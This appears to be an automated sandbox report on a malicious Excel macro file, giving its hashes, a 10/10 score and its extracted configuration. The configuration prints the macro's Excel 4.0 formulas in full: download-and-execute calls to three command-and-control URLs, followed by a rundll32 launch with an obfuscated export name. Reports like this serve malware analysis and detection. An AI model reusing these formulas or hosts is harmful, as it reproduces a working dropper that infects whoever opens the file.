Overview

overview

10

Static

static

10

86056-5970.xlsm

windows7-x64

10

86056-5970.xlsm

windows10-2004-x64

10

Sharing

Copy URL
Twitter E-mail

General

  • Target

    86056-5970.xlsm

  • Size

    83KB

  • MD5

    6b5fbfc62c3f736a188c3f614b14fbe3

  • SHA1

    1ce7dd32aecf09f3b4683f9c3c005d0c6ae82b0a

  • SHA256

    de54a7c99135db230ba151e513f7813ccca74b08201d7592958e82c51b152386

  • SHA512

    ff04fc0017f3a39f777a8671fd030b210d8b99cb30202acc3cc0b0fee8e48f5f12c4b730576a2adfa43955c03e4a2a0e66e954cc8bacfa20963479010717e516

  • SSDEEP

    1536:kEMLTysqxG/+CbEcWeu3XDXeoiHwt/uE1d7mT6SrPag3HtQVASgV+:LgTiG/+CbE9H78wt2E1d7e6STa6S3

Score
10/10
macroxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://recont.com/n8xbqb/lwEORjcJYPKCNQ/

http://dichnghiatienganh.com/jvmqawn/2mdbSTjM1Lg/

https://www.moharrampartners.com/requestion/wiA/
Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://recont.com/n8xbqb/lwEORjcJYPKCNQ/","..\erum.ocx",0,0) =IF('EWDFFEFAD'!E18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://dichnghiatienganh.com/jvmqawn/2mdbSTjM1Lg/","..\erum.ocx",0,0)) =IF('EWDFFEFAD'!E20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.moharrampartners.com/requestion/wiA/","..\erum.ocx",0,0)) =IF('EWDFFEFAD'!E22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\rundll32.exe ..\erum.ocx,D""&""l""&""lR""&""egister""&""Serve""&""r") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

    macroxlm

Files

  • 86056-5970.xlsm
    .xlsm office2007